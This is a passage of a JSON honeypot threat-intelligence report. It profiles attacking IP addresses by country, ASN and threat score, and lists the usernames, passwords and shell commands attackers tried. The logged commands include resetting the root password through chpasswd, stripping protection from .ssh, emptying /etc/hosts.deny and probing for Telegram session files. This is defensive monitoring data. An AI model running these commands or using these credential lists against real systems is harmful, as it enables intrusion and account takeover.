        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T18:14:51.376000+00:00",
        "last_seen_30d": "2026-03-25T18:54:24.609000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "101.47.142.192": {
      "attack_count": 132,
      "first_seen": "2026-03-09T02:44:48.468Z",
      "last_seen": "2026-03-26T13:17:18.382Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "handbrake",
        "root",
        "accounting",
        "arkserver",
        "es_user",
        "jon",
        "mitra",
        "openvas",
        "sage",
        "t128"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123456",
        "3245gs5662d34",
        "1234",
        "12345",
        "Aa111111",
        "Arkserver123",
        "admin",
        "mitra123",
        "password",
        "sage123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "echo \"root:fr0CFPGByERs\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:44:48.468000+00:00",
        "last_seen_30d": "2026-03-26T13:18:22.394000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 40
      }
    },
    "5.181.124.231": {
      "attack_count": 124,
      "first_seen": "2026-03-11T07:36:04.149Z",
      "last_seen": "2026-03-11T07:55:19.217Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "345gs5662d34",
        "appuser",
        "don",
        "erpnext",
        "mari",
        "mason",
        "rms",
        "root",
        "sonarqube",
        "telegram",
        "webapps"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Mason123",
        "admin22",
        "claude",
        "maripass",
        "webapps123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"claude\\nVL4Vj7tztu91\\nVL4Vj7tztu91\\n\"|passwd",
        "echo -e \"claude\\nVL4Vj7tztu91\\nVL4Vj7tztu91\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:36:04.149000+00:00",
        "last_seen_30d": "2026-03-11T07:56:24.230000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "182.60.76.15": {
      "attack_count": 118,
      "first_seen": "2026-03-31T16:39:57.144Z",
      "last_seen": "2026-03-31T17:17:06.445Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456!@#",
        "1qa@WS3ed",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456.",
        "Ldserver1234567",
        "P@ssword123456",
        "admin@123.",
        "edongidc",
        "hengbing987654321",
        "shanghaizhenru",
        "wusheng123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ozal1wCM3Cjp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Coimbatore",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T16:39:57.144000+00:00",
        "last_seen_30d": "2026-03-31T17:18:13.248000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "192.109.200.220": {
      "attack_count": 102,
      "first_seen": "2026-03-06T22:47:26.045Z",
      "last_seen": "2026-03-13T22:41:34.487Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "guest",
        "lighthouse",
        "squid",
        "supervisor",
        "ubnt",
        "ubuntu",
        "vhserver"
      ],
      "passwords_attempted": [
        "!@#123qwe",
        "112233",
        "123456",
        "123456789",
        "1234567890",
        "7777777",
        "P4ssw0rd",
        "[sshd]",
        "admin",
        "admin#123",
        "guest",
        "insecure",
        "lighthouse",
        "passwd",
        "root",
        "squid",
        "supervisor",
        "ubnt123",
        "zxcvbnm"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3103,
        "days_active_30d": 26,
        "ports_targeted_30d": 351,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T07:17:46.470000+00:00",
        "last_seen_30d": "2026-03-31T18:32:20.020000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2535,
        "Honeytrap": 466,
        "Cowrie": 102
      }
    },
    "27.79.7.233": {
      "attack_count": 92,
      "first_seen": "2026-03-24T06:32:23.208Z",
      "last_seen": "2026-03-24T06:41:58.690Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "*****",
        "admin",
        "backup",
        "client",
        "cpanel",
        "dubai",
        "jay",
        "monitor",
        "pi",
        "proftpd",
        "sconsole",
        "shipping",
        "test123",
        "vyatta"
      ],
      "passwords_attempted": [
        "*****",
        "111111",
        "12345",
        "72b1bd75ac87852a",
        "91482d",
        "Deadstar!",
        "bananapi",
        "dubai",
        "jay",
        "monitor",
        "password",
        "proftpd",
        "qwe123",
        "raspberry",
        "shipping",
        "test123",
        "vertex25",
        "vyatta"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:32:23.208000+00:00",
        "last_seen_30d": "2026-03-24T06:43:04.850000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 38
      }
    },
    "117.207.223.104": {
      "attack_count": 91,
      "first_seen": "2026-03-03T00:04:02.982Z",
      "last_seen": "2026-03-03T00:38:31.685Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "123qwe,./",
        "Secure@123",
        "a123.123.123a",
        "aA!123456",
        "abc123456.",
        "admin@2025",
        "cassia",
        "passw0rd!",
        "r00t123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jhunjhun\u016bn",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:04:02.982000+00:00",
        "last_seen_30d": "2026-03-03T00:39:35.714000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 36
      }
    },
    "134.209.206.87": {
      "attack_count": 78,
      "first_seen": "2026-03-08T17:36:04.193Z",
      "last_seen": "2026-03-08T17:51:13.701Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T17:36:04.193000+00:00",
        "last_seen_30d": "2026-03-08T17:52:15.925000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 30
      }
    },
    "112.118.57.75": {
      "attack_count": 69,
      "first_seen": "2026-03-28T07:24:47.744Z",
      "last_seen": "2026-03-31T14:09:00.936Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T07:24:47.744000+00:00",
        "last_seen_30d": "2026-03-31T14:10:08.805000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 8
      }
    },
    "110.72.242.164": {
      "attack_count": 62,
      "first_seen": "2026-03-03T10:26:46.410Z",
      "last_seen": "2026-03-24T03:07:35.316Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "angelica",
        "apagar",
        "bart",
        "root",
        "temp",
        "teste"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "Apple@2025",
        "Teste123",
        "temp"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:26:46.410000+00:00",
        "last_seen_30d": "2026-03-24T03:17:41.849000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 36
      }
    },
    "124.29.194.78": {
      "attack_count": 50,
      "first_seen": "2026-03-06T14:54:53.124Z",
      "last_seen": "2026-03-06T15:00:18.599Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T14:54:53.124000+00:00",
        "last_seen_30d": "2026-03-06T15:01:28.152000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.43.167": {
      "attack_count": 44,
      "first_seen": "2026-03-22T07:47:35.887Z",
      "last_seen": "2026-03-22T07:53:16.664Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T07:47:35.887000+00:00",
        "last_seen_30d": "2026-03-22T07:54:25.607000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "5.101.64.6": {
      "attack_count": 36,
      "first_seen": "2026-03-07T00:04:40.109Z",
      "last_seen": "2026-03-26T14:04:15.819Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 98.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 718,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-02T19:00:10.460000+00:00",
        "last_seen_30d": "2026-03-31T16:34:57.110000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 515,
        "Honeytrap": 118,
        "Cowrie": 36,
        "Tanner": 13,
        "ElasticPot": 7,
        "Dionaea": 6,
        "H0neytr4p": 6,
        "Redishoneypot": 6,
        "CitrixHoneypot": 4,
        "ConPot": 4,
        "Ciscoasa": 2,
        "Honeyaml": 1
      }
    },
    "111.228.36.44": {
      "attack_count": 33,
      "first_seen": "2026-03-10T05:26:33.172Z",
      "last_seen": "2026-03-10T05:56:09.577Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "clawd",
        "gianluca",
        "software",
        "webappuser"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "software"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:26:33.172000+00:00",
        "last_seen_30d": "2026-03-10T06:06:15.630000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 20
      }
    },
    "168.144.43.138": {
      "attack_count": 25,
      "first_seen": "2026-03-12T10:49:10.173Z",
      "last_seen": "2026-03-12T10:52:49.546Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T10:49:10.173000+00:00",
        "last_seen_30d": "2026-03-12T10:53:55.982000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 10
      }
    },
    "106.74.128.226": {
      "attack_count": 20,
      "first_seen": "2026-03-09T14:06:55.955Z",
      "last_seen": "2026-03-09T14:09:17.333Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Yzdidc@#!",
        "lL$EjqQyI3M4r8"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133118,
      "as_org": "China Unicom IP network",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T14:06:55.955000+00:00",
        "last_seen_30d": "2026-03-18T08:11:04.017000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "125.74.128.224": {
      "attack_count": 15,
      "first_seen": "2026-03-17T21:03:54.611Z",
      "last_seen": "2026-03-17T21:04:01.417Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Aa12345.."
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141998,
      "as_org": "China Telecom",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:03:54.611000+00:00",
        "last_seen_30d": "2026-03-17T21:05:05.481000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "14.103.183.21": {
      "attack_count": 15,
      "first_seen": "2026-03-12T02:42:50.513Z",
      "last_seen": "2026-03-12T02:55:31.251Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T02:42:50.513000+00:00",
        "last_seen_30d": "2026-03-12T03:06:31.138000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "60.23.238.241": {
      "attack_count": 14,
      "first_seen": "2026-03-21T02:48:02.249Z",
      "last_seen": "2026-03-21T02:48:54.724Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T02:48:02.249000+00:00",
        "last_seen_30d": "2026-03-21T02:50:04.790000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "103.253.21.150": {
      "attack_count": 9,
      "first_seen": "2026-03-20T21:43:59.085Z",
      "last_seen": "2026-03-22T05:13:56.363Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151863,
      "as_org": "PSG JOINT STOCK COMPANY",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T21:43:59.085000+00:00",
        "last_seen_30d": "2026-03-22T05:16:01.887000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "216.180.246.248": {
      "attack_count": 9,
      "first_seen": "2026-03-03T19:26:01.097Z",
      "last_seen": "2026-03-03T19:38:43.186Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
